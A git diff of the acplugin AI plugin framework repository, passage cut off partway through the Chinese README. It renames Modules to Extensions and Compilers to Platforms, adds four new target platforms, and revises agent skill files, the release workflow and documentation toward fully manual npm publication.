b/.agents/skills/add-platform/SKILL.md @@ -1,23 +1,23 @@ --- name: add-platform -description: Add a new installable-plugin target to acplugin through a private Compiler and official Module adapters. Use when introducing another AI platform target or revising a target's current manifest, component, Hooks, or MCP contract. +description: Add a new acplugin Platform through an independent private package and official Extension adapters. Use when introducing another AI platform or revising a Platform manifest, Component, Hooks, MCP, delivery-unit, or compatibility contract. --- -# Add a target platform +# Add a Platform -1. Verify the current official installable-plugin contract. Record manifest path/schema, install root semantics, Component discovery, Hooks events/protocol, MCP transports/config, secret handling, and a real validation/install command. Do not confuse project overlays with installable plugins. -2. Add the target ID to Core contracts/config validation and CLI choices. -3. Create a private `packages/compiler-/` package. The Compiler must: +1. Verify the current official delivery contract from primary documentation. Record whether the output is a static Plugin, workspace overlay, or package; then record schema/path/install-root semantics, Component discovery, Hooks events/protocol, MCP transports/config, secret handling, and a real validation/install command. +2. Create one private `packages/platforms//` package. It must implement the branded Core Platform contract and declare an accurate `deliveryType`. +3. Keep all Platform-specific behavior in that package: - compile every canonical Component; - - own base/reserved Manifest fields; - - emit deterministic Artifacts without filesystem side effects; - - report complete compatibility and dependency propagation; - - validate generated identities, references, paths, and collisions. -4. Bundle the private Compiler into `@tokenroll/acplugin`; it must not appear in the public package runtime manifest or packed imports. -5. Add target adapters to official Hooks/MCP Modules only for verified capabilities. Keep target protocol JSON out of author handlers/descriptors. -6. Register CLI/default-target behavior only after compatibility policy is defined. Do not silently expand the default target cohort. -7. Add golden fixtures, strict/relaxed cases, target schema checks, installed-cache path tests, Hook runtime tests, and MCP protocol smoke tests. -8. Update README, `AGENTS.md`, platform reference docs, tarball consumer verification, and release acceptance criteria. + - own base/reserved Documents and Manifest fields; + - emit deterministic Artifacts without direct output writes; + - report complete compatibility and metadata disposition; + - validate generated identities, references, paths, collisions, and the final materialized candidate. +4. Export a thin factory from `packages/acplugin/src/platforms/.ts` and the main facade, then bundle the private package into `@tokenroll/acplugin`. No private `@acplugin/*` runtime dependency or import may survive in the public tarball. +5. Add adapters to the official Hooks/MCP Extensions only for capabilities verified on this Platform. The Extension owns the Adapter; the Platform exposes only controlled Document extension points and never imports an Extension. +6. Add the Platform to CLI selection and `init` choices only after compatibility and empty-state behavior are defined. Do not silently expand the default Claude Code + Codex cohort. +7. Add package-owned golden/schema/candidate tests, strict/relaxed integration cases, installed-cache or real-consumer smoke tests appropriate to the delivery type, Hook runtime tests, and MCP protocol tests. +8. Update the six-or-more-Platform matrices, `AGENTS.md`, package docs, release tarball consumer verification, official links, and contract verification date. Run the full repository and packed-consumer checks: diff --git a/.agents/skills/npm-publish/SKILL.md b/.agents/skills/npm-publish/SKILL.md index 76778bc..66f2d35 100644 --- a/.agents/skills/npm-publish/SKILL.md +++ b/.agents/skills/npm-publish/SKILL.md @@ -1,17 +1,17 @@ --- name: npm-publish -description: Prepare, verify, or explicitly publish the fixed @tokenroll/acplugin public package cohort with Changesets, pnpm tarballs, manual first-release 2FA, or the protected OIDC tag workflow. Use for release planning, versioning, dry runs, registry verification, and npm publication. +description: Prepare, verify, or explicitly publish the fixed @tokenroll/acplugin public package cohort with Changesets, pnpm tarballs, and maintainer-operated npm 2FA. Use for release planning, versioning, dry runs, registry verification, and fully manual npm publication. --- # Release the public cohort -Never create a tag, publish, unpublish, or change a dist-tag without explicit user authorization for that live mutation. +Never create or push a tag, publish, unpublish, change a dist-tag, or create a GitHub Release without explicit user authorization for that exact live mutation. Repository workflows must not automate those actions. ## Prepare and verify -1. Confirm the three public packages have one version and Modules use `workspace:^` for the main peer: - - `@tokenroll/acplugin-module-hooks` - - `@tokenroll/acplugin-module-mcp` +1. Confirm the three public packages have one version and Extensions use `workspace:^` for the main peer: + - `@tokenroll/acplugin-extension-hooks` + - `@tokenroll/acplugin-extension-mcp` - `@tokenroll/acplugin` 2. Add a Changeset and run `pnpm version-packages` when changing an existing release version. Keep private packages ignored. 3. Run: @@ -24,22 +24,22 @@ pnpm run release:verify `release:verify` must prove that tarballs contain no private runtime dependency/source tests and that all three install, typecheck, import, validate, and build in an external clean consumer. -## First npm identity bootstrap +## Publish manually -The first `1.0.0` publication is manual because each scoped package identity and 2FA must exist before Trusted Publishing can be configured. From the verified source revision, create pnpm tarballs and ask the authorized user to publish them in this order with `--access public` and OTP: +From the verified source revision, create pnpm tarballs outside the repository and ask an authorized TokenRoll maintainer to publish them in this order with `--access public` and OTP: -1. Hooks Module -2. MCP Module +1. Hooks Extension +2. MCP Extension 3. Main package -Verify every exact version with `npm view @ version`. Do not create the release tag until the cohort is complete. +Verify every exact version with `npm view @ version`. If interrupted, resume only at the first missing exact version; never republish an existing version. -## Subsequent OIDC releases +## Create release references manually -After npm Trusted Publishing is configured for `.github/workflows/publish-npm.yml` and the protected `npm` environment, push only the exact tag: +Only after all three exact versions are visible may the authorized maintainer create and push the matching tag: ```text tokenroll-vX.Y.Z ``` -The workflow reruns verification, skips exact versions already present, publishes Modules before the main package, waits for registry visibility, and creates the GitHub Release last. It must not require a long-lived npm token and must never call unpublish. +The tag does not trigger publication. Create the GitHub Release manually after verifying the pushed tag and Registry cohort. Never add an automated npm, Tag, dist-tag, or GitHub Release workflow without a new explicit project decision. diff --git a/.changeset/config.json b/.changeset/config.json index 9c22728..c6e1b8d 100644 --- a/.changeset/config.json +++ b/.changeset/config.json @@ -5,8 +5,8 @@ "fixed": [ [ "@tokenroll/acplugin", - "@tokenroll/acplugin-module-hooks", - "@tokenroll/acplugin-module-mcp" + "@tokenroll/acplugin-extension-hooks", + "@tokenroll/acplugin-extension-mcp" ] ], "linked": [], @@ -15,8 +15,12 @@ "updateInternalDependencies": "patch", "ignore": [ "@acplugin/core", - "@acplugin/compiler-claude-code", - "@acplugin/compiler-codex", - "@acplugin/test" + "@acplugin/test", + "@acplugin/platform-claude-code", + "@acplugin/platform-codex", + "@acplugin/platform-cursor", + "@acplugin/platform-antigravity", + "@acplugin/platform-opencode", + "@acplugin/platform-pi" ] } diff --git a/.changeset/initial-1-0-baseline.md b/.changeset/initial-1-0-baseline.md new file mode 100644 index 0000000..3f0465c --- /dev/null +++ b/.changeset/initial-1-0-baseline.md @@ -0,0 +1,4 @@ +--- +--- + +Record the unreleased 1.0.0 architecture baseline without bumping the already prepared public cohort. diff --git a/.github/workflows/patch.yml b/.github/workflows/patch.yml index 8428b08..a95d073 100644 --- a/.github/workflows/patch.yml +++ b/.github/workflows/patch.yml @@ -47,14 +47,20 @@ jobs: - run: pnpm install --frozen-lockfile - - name: Require at least one Changeset + - name: Require at least one effective Changeset shell: bash run: | set -euo pipefail - if ! find .changeset -maxdepth 1 -type f -name '*.md' ! -name 'README.md' -print -quit | grep -q .; then - echo "::error::The target branch must contain at least one Changeset." - exit 1 - fi + status_file="$(mktemp)" + pnpm changeset status --output "$status_file" + node - "$status_file" <<'NODE' + const fs = require('node:fs') + const status = JSON.parse(fs.readFileSync(process.argv[2], 'utf8')) + if (!Array.isArray(status.releases) || status.releases.length === 0) { + console.error('::error::The target branch must contain at least one Changeset that bumps a public package.') + process.exit(1) + } + NODE - name: Consume Changesets and bump the fixed cohort shell: bash diff --git a/AGENTS.md b/AGENTS.md index 0361ac4..db999fc 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -2,16 +2,16 @@ ## 项目定位 -acplugin 是统一的 AI Plugin 框架和 CLI。作者通过规范化工程书写 Commands、Skills、Agents,以及可选 Hooks/MCP;框架默认编译为可安装的 Claude Code 和 Codex Plugin。 +acplugin 是统一的 AI Plugin 框架和 CLI。作者通过规范化工程书写 Commands、Skills、Agents,以及可选 Hooks/MCP;框架默认构建 Claude Code 与 Codex,并可显式构建 Cursor、Antigravity、OpenCode 和 Pi 交付产物。 -- 公开包:`@tokenroll/acplugin`、`@tokenroll/acplugin-module-hooks`、`@tokenroll/acplugin-module-mcp` -- 私有包:Core、两个内置 Compiler、内部 Test workspace +- 公开包:`@tokenroll/acplugin`、`@tokenroll/acplugin-extension-hooks`、`@tokenroll/acplugin-extension-mcp` +- 私有包:Core、六个内置 Platform、内部 Test workspace - 不提供 Instructions Component - 旧 Claude 工程/Plugin 的导入仅属于隔离的 Migration 子系统 ## 技术与工具约束 -- TypeScript、Node.js >=20、ESM-only +- TypeScript 7、Node.js >=20、ESM-only;Package 的 `tsc` 来自 catalog 中的 `@typescript/native` - pnpm workspace,不使用 npm/yarn,不引入 Turborepo - tsdown 负责 package bundle 和声明文件 - Vitest 只用于仓库内部测试 @@ -24,34 +24,45 @@ acplugin 是统一的 AI Plugin 框架和 CLI。作者通过规范化工程书 packages/ ├── acplugin/ # 公开 CLI/facade,内含隔离 Migration ├── core/ # 私有配置、扫描、生命周期、Artifact、事务 -├── compiler-claude-code/ # 私有 Claude Code Compiler -├── compiler-codex/ # 私有 Codex Compiler -├── module-hooks/ # 公开可选 Hooks Module -├── module-mcp/ # 公开可选 MCP Module +├── platforms/ # 六个独立私有 Platform 实现包 +│ ├── claude-code/ +│ ├── codex/ +│ ├── cursor/ +│ ├── antigravity/ +│ ├── opencode/ +│ └── pi/ +├── extensions/ # 两个正式公开横向 Extension 包 +│ ├── hooks/ +│ └── mcp/ └── test/ # 私有跨包 Vitest 集成测试 ``` -`@tokenroll/acplugin` 构建时必须 bundle Core 和两个私有 Compiler。任何公开 tarball 的运行时依赖都不得出现 `@acplugin/*`。Hooks/MCP 通过 `workspace:^` peer 开发边,在 pack 后必须变为正常 `^x.y.z`。 +`@tokenroll/acplugin` 构建时必须 bundle Core 和六个私有 Platform。任何公开 tarball 的运行时依赖都不得出现 `@acplugin/*`。Hooks/MCP Extension 通过 `workspace:^` peer 开发边,在 pack 后必须变为正常 `^x.y.z`。 ## 统一构建架构 ```text -Config → Module lifecycle → Canonical Scanner → Compiler → Artifact graph - → full target validation → managed output transaction → report +Config → fixed Core lifecycle → Canonical Scanner → Platform Draft + → Extension Adapter → DeliveryUnit validation → managed output transaction → report ``` -Module 生命周期固定为: +Core 固定生命周期为: ```text -configResolved → discover → validate → build → generate(target) → buildEnd +configResolved → buildStart → Extension.discover → Scanner +→ Extension.validate/build → Platform.prepare → Adapter.apply +→ Platform.generateBundle/validateBundle → generateDistributions +→ compatibility propagation → transaction → buildEnd ``` -- Module 按 `dependsOn` 拓扑排序,同级保持 config 顺序。 -- State/Built State 只能向已声明依赖暴露。 -- Module 只能写 Core 提供的 workDir,不能写 `dist`。 -- Module 返回 Artifact、唯一归属的 Manifest 字段和 Compatibility,不得替换完整 Compiler。 -- `buildEnd` 在成功/失败时均按初始化逆序执行。 -- Converter/Compiler 的纯生成逻辑不得直接产生文件系统副作用。 +- Core 定义唯一阶段顺序、Context、诊断、兼容性、Artifact 所有权和事务,不包含平台名称分支。 +- Platform 负责一种目标平台的 Component 转换、结构化 Document、主 DeliveryUnit、可选 Marketplace Distribution 和最终候选校验。 +- Extension 负责横向作者能力;其 Built State 通过显式 `ExtensionPlatformAdapter` 以 add-only 方式参与对应 Platform Draft。 +- Adapter 只能读取已公开 Document、向声明的 extension point 新增字段、追加 Artifact 和报告兼容性,不能替换 Platform 或完整文档。 +- 每个 Platform/Extension 只能写 Core 提供的独占 workDir,不能直接写 `dist`,文件型 Artifact 也按 owner 独立授权。 +- Platform options 必须是深度冻结的 JSON;Extension 不提供依赖图和跨 Extension State 读取。 +- `buildEnd` 在成功/失败时均按初始化逆序执行,收到的异常只能是脱敏摘要。 +- CLI 与程序化 `runProject()` 必须只调用 Core 的唯一 Platform/Extension 生命周期,不得维护第二条构建路径。 ## Canonical Components @@ -62,11 +73,11 @@ configResolved → discover → validate → build → generate(target) → buil 所有 ID 使用小写 kebab-case。Markdown 必须有合法 YAML Frontmatter 和非空正文。依赖图必须拒绝缺失、自依赖、循环依赖。 -兼容性必须显式:Claude 原生 Commands/Skills/Agents;Codex 原生 Skills、Commands 转显式 `command-` Skill、Agents 降级为 `agent-` fallback Skill。严格模式不得静默接受 degraded/unsupported。 +兼容性必须显式:每个 Platform 都要逐资源报告 `native`、`transform`、`degraded` 或 `unsupported`。Claude 原生 Commands/Skills/Agents;Codex 原生 Skills、Commands 转 Skill、Agents 降级为 Skill;Cursor 原生三类 Component;Antigravity 以 Skill 转换 Command/Agent;OpenCode 生成 Workspace 原生资源;Pi 以 Prompt/Skill 转换 Command/Agent。严格模式不得静默接受 degraded/unsupported。 -## Hooks/MCP Module +## Hooks/MCP Extension -- 未启用 Module 时发现 `src/hooks` 或 `src/mcp` 内容必须失败。 +- 未启用对应 Extension 时发现 `src/hooks` 或 `src/mcp` 内容必须失败。 - Hook 作者只返回语义结果,目标 stdin/stdout 协议由 adapter 负责。 - Hook runner 必须限制输入/输出、捕获顶层错误、使用固定脱敏错误码。 - MCP 只支持 portable intersection:Streamable HTTP 与本地 stdio。 @@ -77,7 +88,9 @@ configResolved → discover → validate → build → generate(target) → buil ## Artifact 与事务 - Artifact 只允许 `bytes` 或已验证的普通文件来源,mode 只允许 `0644/0755`。 -- 拒绝绝对/穿越路径、符号链接、大小写及 Unicode 规范化冲突。 +- 输出路径拒绝绝对路径、NUL 和任何 `..` 片段,并拒绝符号链接、大小写及 Unicode 规范化冲突。 +- Platform 只能引用自己的 workDir 和 Scanner 精确发现的 Component/Skill 辅助文件;Extension 只能引用自己的 workDir;Public 只能引用 Scanner 精确发现的文件。 +- Platform Draft、主 DeliveryUnit 和 Distribution 必须保留继承 Artifact 的 owner、mode、size 与 hash。 - `dist` 是框架完整托管目录;成功构建按选中目标集合整体替换。 - 事务顺序:锁 → 恢复 → stage → 校验 → transaction/backup → swap → cleanup。 - 任一目标/阶段失败必须保留上次完整输出;事务修改必须补 fault-injection 测试。 @@ -87,7 +100,7 @@ configResolved → discover → validate → build → generate(target) → buil Migration 位于 `packages/acplugin/src/migration/`,CLI 使用动态 import。`migration/legacy/` 只保留容错型 GitHub 下载与 Claude/plugin 扫描行为,为迁移读取服务;不得恢复旧 converter/writer/CLI/TUI。 -- Core、Compiler、Modules、正常 CLI 启动不得 import Migration。 +- Core、Platform、Extension、正常 CLI 启动不得 import Migration。 - Migration 不允许原地写入,也不把 Instructions/raw Hooks/外部命令 MCP 伪装为规范化资源。 - 无法安全映射的内容进入 `.acplugin-migration/unmapped/` 和稳定 report。 - 不要为了 Core 的严格类型规则大范围机械重写容错型 legacy 代码。 @@ -97,7 +110,7 @@ Migration 位于 `packages/acplugin/src/migration/`,CLI 使用动态 import。 - Core 单元测试:`packages/core/test/` - 跨包集成:`packages/test/test/` - Migration 集成:`packages/test/test/migration.test.ts` -- 各 package 使用 catalog 中的 TypeScript 7 编译和类型检查;根 workspace 暂时保留 TypeScript 6,仅作为 `typescript-eslint` 尚未支持原生 TS 7 时的解析 API。 +- 根 workspace 与各 Package 统一使用 catalog 中的 `@typescript/native` 执行 TypeScript 7 编译和类型检查;只有依赖旧 Compiler API 的 Lint/注释工具使用根目录 `@typescript/typescript6` 兼容别名。 ```bash pnpm run lint @@ -107,15 +120,15 @@ pnpm run build pnpm run release:verify ``` -新增功能必须按风险补充:schema/graph、Compiler golden、Module 生命周期、事务故障、CLI 子进程/退出码、Watch 恢复、Hook adapter、MCP 协议、Migration 和 tarball consumer 测试。不得用缺少 fixture 的大面积 skip 代替验证。 +新增功能必须按风险补充:schema/graph、Platform golden、Extension/Adapter 生命周期、Artifact owner 隔离、事务故障、CLI 子进程/退出码、Watch 恢复、Hook adapter、MCP 协议、Migration 和 tarball consumer 测试。不得用缺少 fixture 的大面积 skip 代替验证。 ## 发行 - 三个公开包统一版本,由 Changesets fixed group 管理。 - `Check` Workflow 在 PR 上自动执行 lint 和 typecheck。 -- `Patch` Workflow 只能手工触发;从默认分支选择目标分支,消费其 Changesets、生成 changelog、升级固定公开包版本,并创建回到该目标分支的版本 PR。 +- `Patch` Workflow 只能手工触发;从默认分支选择目标分支,在写版本前确认至少一个有效 Changeset 会升级公开包,再消费 Changesets、生成 changelog、升级固定公开包版本,并创建回到该目标分支的版本 PR。 - 所有版本均由维护者从已验证 tarball 手工发布;仓库不得添加 Tag/npm 自动发布 Workflow。 -- 手工发布顺序:Hooks Module → MCP Module → 主包;每一步都要验证 Registry 精确版本。 +- 手工发布顺序:Hooks Extension → MCP Extension → 主包;每一步都要验证 Registry 精确版本。 - 三个 npm 版本全部存在后,再由维护者手工创建 `tokenroll-vX.Y.Z` Tag 和 GitHub Release。 - 禁止自动 publish/unpublish、修改 dist-tag、创建 Tag 或 GitHub Release,除非用户明确要求执行对应操作。 diff --git a/README.md b/README.md index c79a729..52c116e 100644 --- a/README.md +++ b/README.md @@ -2,9 +2,9 @@ [中文文档](./README.zh-CN.md) -acplugin is a canonical AI plugin framework and CLI. You author Commands, Skills, Agents, optional Hooks, and optional MCP servers once; acplugin builds complete installable plugins for Claude Code and Codex. +acplugin is a canonical AI plugin framework and CLI. You author Commands, Skills, Agents, optional Hooks, and optional MCP servers once; acplugin builds Platform-owned deliveries for Claude Code, Codex, Cursor, Antigravity, OpenCode, and Pi. -This is not a Claude-project converter. The canonical project is the source of truth, and each target Compiler owns its final manifest, paths, compatibility decisions, and deterministic serialization. Legacy Claude projects and plugins are handled separately by `acplugin migrate`. +This is not a Claude-project converter. The canonical project is the source of truth, and each Platform owns its final manifest, paths, compatibility decisions, and deterministic serialization. Legacy Claude projects and plugins are handled separately by `acplugin migrate`. ## Requirements @@ -37,7 +37,7 @@ export default defineConfig({ }); ``` -The default build produces both `dist/claude-code` and `dist/codex`. +The default build produces both `dist/claude-code` and `dist/codex`. Cursor, Antigravity, OpenCode, and Pi are opt-in because their compatibility and delivery types differ. `acplugin.config.ts`, Hook descriptors, and MCP descriptors are trusted executable project code loaded by the local Node.js process. Review them with the same care as build scripts; Migration input remains untrusted data and is never executed as canonical descriptor code. @@ -47,7 +47,7 @@ The default build produces both `dist/claude-code` and `dist/codex`. my-plugin/ ├── acplugin.config.ts ├── package.json -├── public/ # optional files copied to each target root +├── public/ # optional files copied to each Platform root └── src/ ├── commands/ │ └── review.md @@ -57,9 +57,9 @@ my-plugin/ │ └── references/ # copied with the Skill ├── agents/ │ └── reviewer.md - ├── hooks/ # only with the Hooks Module + ├── hooks/ # only with the Hooks Extension │ └── policy/hook.ts - └── mcp/ # only with the MCP Module + └── mcp/ # only with the MCP Extension └── docs/mcp.ts ``` @@ -72,16 +72,16 @@ acplugin deliberately has no Instructions Component. Repository-wide instruction `acplugin.config.ts` exports an object or a sync/async function receiving `{ command, mode }`. ```ts -import { defineConfig } from '@tokenroll/acplugin'; +import { claudeCode, codex, defineConfig } from '@tokenroll/acplugin'; export default defineConfig(({ mode }) => ({ name: 'team-review', version: '1.0.0', description: 'Shared review workflows.', displayName: 'Team Review', - targets: [ - 'claude-code', - { id: 'codex', strict: mode === 'production' }, + platforms: [ + claudeCode(), + codex({ strict: mode === 'production' }), ], public: { dir: 'public', @@ -105,11 +105,20 @@ Top-level fields: | `displayName` | Optional presentation name. | | `srcDir` | Canonical source directory; defaults to `src`. | | `public` | `false`, a directory, or explicit copy rules. | -| `targets` | Target set; defaults to Claude Code and Codex. | -| `modules` | Lifecycle Modules such as Hooks and MCP. | +| `platforms` | Platform factory list; defaults to Claude Code and Codex. | +| `extensions` | Optional horizontal capabilities such as Hooks and MCP. | | `build.outDir` | Managed output directory; defaults to `dist`. | | `build.strict` | Fail on degraded/unsupported compatibility; defaults to `true`. | -| `extensions` | Explicit target-specific escape hatch. | + +All built-in Platform factories are exported from the main package: + +```ts +import { antigravity, claudeCode, codex, cursor, openCode, pi } from '@tokenroll/acplugin'; + +const platforms = [claudeCode(), codex(), cursor(), antigravity(), openCode(), pi()]; +``` + +Claude Code, Codex, Cursor, and Antigravity emit static Plugin delivery units. OpenCode emits a workspace overlay; Pi emits an npm package. `acplugin init --platform ` writes the selected factories explicitly. ## Core Components @@ -160,35 +169,37 @@ Components may require Skills and Agents. Missing dependencies, self-dependencie ## Compatibility -| Component | Claude Code | Codex | -| --- | --- | --- | -| Skill | Native | Native | -| Command | Native Command | Explicit `command-` Skill | -| Agent | Native Agent | Degraded model-only `agent-` fallback Skill | +| Component | Claude Code | Codex | Cursor | Antigravity | OpenCode | Pi | +| --- | --- | --- | --- | --- | --- | --- | +| Skill | Native | Native | Native | Native | Native | Native | +| Command | Native | Transform to Skill | Native | Transform to Skill | Native | Transform to Prompt | +| Agent | Native | Degraded Skill | Native with field-level limits | Degraded Skill | Native with capability transform | Degraded Skill | Codex installable plugins cannot register custom project/user Agents. Therefore an Agent makes a strict Codex build fail; `--no-strict` emits the fallback and a structured warning instead of silently claiming native support. -## Hooks Module +See the [complete compatibility matrix](./llmdoc/reference/conversion-matrix.md) for delivery units, every portable Hook event, and MCP transport support. + +## Hooks Extension ```bash -pnpm add -D @tokenroll/acplugin-module-hooks +pnpm add -D @tokenroll/acplugin-extension-hooks ``` ```ts import { defineConfig } from '@tokenroll/acplugin'; -import hooks from '@tokenroll/acplugin-module-hooks'; +import hooks from '@tokenroll/acplugin-extension-hooks'; export default defineConfig({ name: 'policy-plugin', version: '1.0.0', description: 'Portable policy hooks.', - modules: [hooks()], + extensions: [hooks()], }); ``` ```ts // src/hooks/policy/hook.ts -import { defineHook } from '@tokenroll/acplugin-module-hooks'; +import { defineHook } from '@tokenroll/acplugin-extension-hooks'; export default defineHook({ event: 'PreToolUse', @@ -209,7 +220,7 @@ SessionStart, SessionEnd, UserPromptSubmit, PreToolUse, PermissionRequest, PostToolUse, PreCompact, PostCompact, SubagentStart, SubagentStop, Stop ``` -Claude-only events are accepted for Claude builds and reported unsupported for Codex: +Claude Code-only events remain explicitly platform-scoped and do not affect Codex compatibility: ```text Setup, UserPromptExpansion, PermissionDenied, PostToolUseFailure, PostToolBatch, @@ -218,23 +229,25 @@ TeammateIdle, InstructionsLoaded, ConfigChange, CwdChanged, DirectoryAdded, FileChanged, WorktreeCreate, WorktreeRemove, Elicitation, ElicitationResult ``` -acplugin bundles each handler, normalizes target input, validates semantic results, bounds JSON I/O, emits concise redacted runtime failures, and includes deterministic third-party license notices when needed. See the current [Claude Code Hooks](https://code.claude.com/docs/en/hooks) and [Codex Hooks](https://learn.chatgpt.com/docs/hooks) references for target behavior. +Declare one with `event: { platform: 'claude-code', name: 'Setup' }`; a bare `'Setup'` string is rejected. + +acplugin bundles each handler once as platform-neutral Node 20 ESM. Every Platform Adapter contributes a verified static or runtime integration and an adjacent `wire.mjs` for native input validation, recursive camelCase conversion, and output mapping; the shared Handler owns bounded JSON I/O, semantic result validation, safe failures, and deterministic third-party license notices. Meaningful matchers ignored by the selected host are reported per Hook as `degraded`; unsupported events generate no fake runtime. -## MCP Module +## MCP Extension ```bash -pnpm add -D @tokenroll/acplugin-module-mcp +pnpm add -D @tokenroll/acplugin-extension-mcp ``` ```ts import { defineConfig } from '@tokenroll/acplugin'; -import mcp from '@tokenroll/acplugin-module-mcp'; +import mcp from '@tokenroll/acplugin-extension-mcp'; export default defineConfig({ name: 'tools-plugin', version: '1.0.0', description: 'Portable MCP tools.', - modules: [mcp()], + extensions: [mcp()], }); ``` @@ -242,7 +255,7 @@ Remote Streamable HTTP server: ```ts // src/mcp/docs/mcp.ts -import { defineMcpServer } from '@tokenroll/acplugin-module-mcp'; +import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; export default defineMcpServer({ transport: 'http', @@ -256,7 +269,7 @@ Local stdio server: ```ts // src/mcp/local-tools/mcp.ts -import { defineMcpServer } from '@tokenroll/acplugin-module-mcp'; +import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; export default defineMcpServer({ transport: 'stdio', @@ -265,19 +278,19 @@ export default defineMcpServer({ }); ``` -For local MCP, you provide a complete stdio MCP implementation in `server.ts`; acplugin bundles it for Node 20 ESM. For HTTP MCP, you declare the remote endpoint and auth/header references—there is no local server implementation to provide. Secret environment values are never read during build. Production HTTP endpoints require HTTPS; development permits loopback HTTP. +For local MCP, you provide a complete stdio MCP implementation in `server.ts`; acplugin bundles it for Node 20 ESM. The build rejects unresolved runtime dynamic imports, starts the bundle with only declared literal environment values, and requires a bounded `initialize → initialized → tools/list` smoke test to pass. Referenced secret values are never read. For HTTP MCP, you declare the remote endpoint and auth/header references—there is no local server implementation to provide. Production HTTP endpoints require HTTPS; development permits loopback HTTP. -See [Claude Code MCP](https://code.claude.com/docs/en/mcp) and [Codex MCP](https://learn.chatgpt.com/docs/extend/mcp). +Claude Code, Codex, and OpenCode support both remote HTTP and bundled local stdio. Cursor and Antigravity support remote HTTP only; Pi reports MCP unsupported. See the [complete compatibility matrix](./llmdoc/reference/conversion-matrix.md). -## Module lifecycle +## Extension lifecycle -All Modules use the same Core-owned pipeline: +All Extensions participate in the same Core-owned pipeline: ```text -configResolved → discover → validate → build → generate(target) → buildEnd +configResolved → buildStart → discover → validate → build → Platform prepare → Adapter → Platform generate/validate → buildEnd ``` -Modules may declare `dependsOn`, use only their provided work directory, and contribute Artifacts, owned manifest fields, and compatibility results. They do not replace the Compiler or write `dist` directly. `buildEnd` always runs in reverse initialized order. +Extensions use only their provided work directory. A build can register every source/dependency it actually reads with `context.addWatchFile()` so `dev` follows the complete graph. Platform Adapters can emit Artifacts, add fields at declared Document extension points, and report compatibility; they cannot replace the Platform pipeline or write `dist` directly. `buildEnd` always runs in reverse initialized order. ## CLI @@ -290,12 +303,12 @@ acplugin build acplugin migrate [destination] ``` -Common project options include `--config`, `--target`, `--mode`, `--no-strict`, and `--json`. +Common project options include `--config`, `--platform`, `--mode`, `--no-strict`, and `--json`. -- `validate` runs complete target generation and materialization validation without writing `dist`. +- `validate` runs complete Platform generation and materialization validation without writing `dist`. - `inspect` adds detailed Artifact metadata without writing `dist`. -- `build` atomically replaces the complete managed `dist` only after every selected target succeeds. -- `dev` watches project inputs, retains the last successful output after failures, and rebuilds after recovery. +- `build` atomically replaces the complete managed `dist` only after every selected Platform succeeds. +- `dev` watches config, Components, Public files, descriptors, and Extension-registered bundle dependencies. It performs a catch-up build after each new watcher becomes ready, retains the last successful output after failures, and rebuilds after recovery. - Bare `acplugin` prints Help and never prompts. Exit codes are `0` success, `1` project/build/migration failure, `2` CLI usage or internal framework failure, and `130` cancellation. JSON mode writes one schema-versioned document to stdout for non-watch commands; diagnostics/logs use stderr. @@ -305,13 +318,13 @@ Exit codes are `0` success, `1` project/build/migration failure, `2` CLI usage o - Artifacts are immutable regular files with an owner, mode, size, and SHA-256. - Absolute/traversal paths, symlinks, path collisions, and sources outside approved roots are rejected. - Builds use a same-filesystem stage, lock, transaction record, backup, and whole-output swap. -- Any target failure preserves the previous complete `dist`. +- Any Platform failure preserves the previous complete `dist`. - Generated files and reports contain no timestamps, temporary paths, environment values, or credentials. -- Module source under `src/hooks` or `src/mcp` without its Module enabled is an error. +- Extension source under `src/hooks` or `src/mcp` without its Extension enabled is an error. ## Legacy Migration -Migration is CLI-only, lazy-loaded, and isolated from Core/Compilers/normal startup. +Migration is CLI-only, lazy-loaded, and isolated from Core/Platforms/normal startup. ```bash acplugin migrate ./legacy-project ./new-plugin \ @@ -321,7 +334,7 @@ acplugin migrate ./legacy-project ./new-plugin \ acplugin migrate owner/repository ./new-workspace --all ``` -Supported sources include local Claude projects, single plugins, marketplaces, and supported GitHub forms. Skills, Commands, Agents, and portable remote HTTP MCP declarations are mapped where possible. Instructions, raw Hooks, Hook implementation files, local external-command MCP, and unsupported resources are preserved under `.acplugin-migration/unmapped/` with a stable report and manual actions. Migration never writes in place. +Supported sources include local Claude projects, single plugins, marketplaces, and supported GitHub forms. `--plugin ` writes one canonical project directly at the destination; only `--all` creates a pnpm workspace of independent projects. Skills, Commands, Agents, and portable remote HTTP MCP declarations are mapped where possible. Instructions, raw Hooks, Hook implementation files, local external-command MCP, and unsupported resources are preserved under `.acplugin-migration/unmapped/` with a stable report and manual actions. Every generated project is loaded through the public API and runs real Extension/Platform validation before atomic commit. Migration never writes in place. Use `--dry-run` for scan/map/validation without destination writes and `--strict` to fail on any degraded or unmapped item. @@ -330,10 +343,10 @@ Use `--dry-run` for scan/map/validation without destination writes and `--strict Public packages: - `@tokenroll/acplugin` -- `@tokenroll/acplugin-module-hooks` -- `@tokenroll/acplugin-module-mcp` +- `@tokenroll/acplugin-extension-hooks` +- `@tokenroll/acplugin-extension-mcp` -Core, Claude/Codex Compilers, and the Vitest integration workspace are private implementation packages bundled or excluded from public runtime manifests. +Core, built-in Platform implementations, and the Vitest integration workspace are private packages bundled or excluded from public runtime manifests. ```bash pnpm install @@ -341,9 +354,9 @@ pnpm run check pnpm run release:verify ``` -`release:verify` creates pnpm tarballs, inspects their files/manifests, installs all three into a clean external consumer, typechecks its config, imports the API, and builds both target plugins. It performs no npm publication. +`release:verify` creates pnpm tarballs, inspects their files/manifests and type resolution, installs all three into a clean external consumer, builds the default project, and creates/builds a six-Platform/two-Extension scaffold. It performs no npm publication. -Pull requests automatically run lint and typecheck. The manually dispatched `Patch` workflow accepts a target branch containing at least one Changeset, consumes its Changesets to bump versions and generate changelogs, and opens a version PR back to that branch. +Pull requests automatically run lint and typecheck. The manually dispatched `Patch` workflow accepts a target branch containing at least one effective Changeset that bumps a public package, consumes its Changesets to bump versions and generate changelogs, and opens a version PR back to that branch. Every npm release is manual. A maintainer publishes the verified tarballs in Hooks → MCP → main order, verifies each exact Registry version, and only then manually creates the matching `tokenroll-vX.Y.Z` tag and GitHub Release. The repository contains no automated publication workflow. diff --git a/README.zh-CN.md b/README.zh-CN.md index ea27d9b..91fcec1 100644 --- a/README.zh-CN.md +++ b/README.zh-CN.md @@ -2,9 +2,9 @@ [English](./README.md) -acplugin 是一个统一的 AI Plugin 框架和 CLI。开发者只维护一套 Commands、Skills、Agents,以及可选的 Hooks/MCP 源码,acplugin 将其构建为可安装的 Claude Code 和 Codex Plugin。 +acplugin 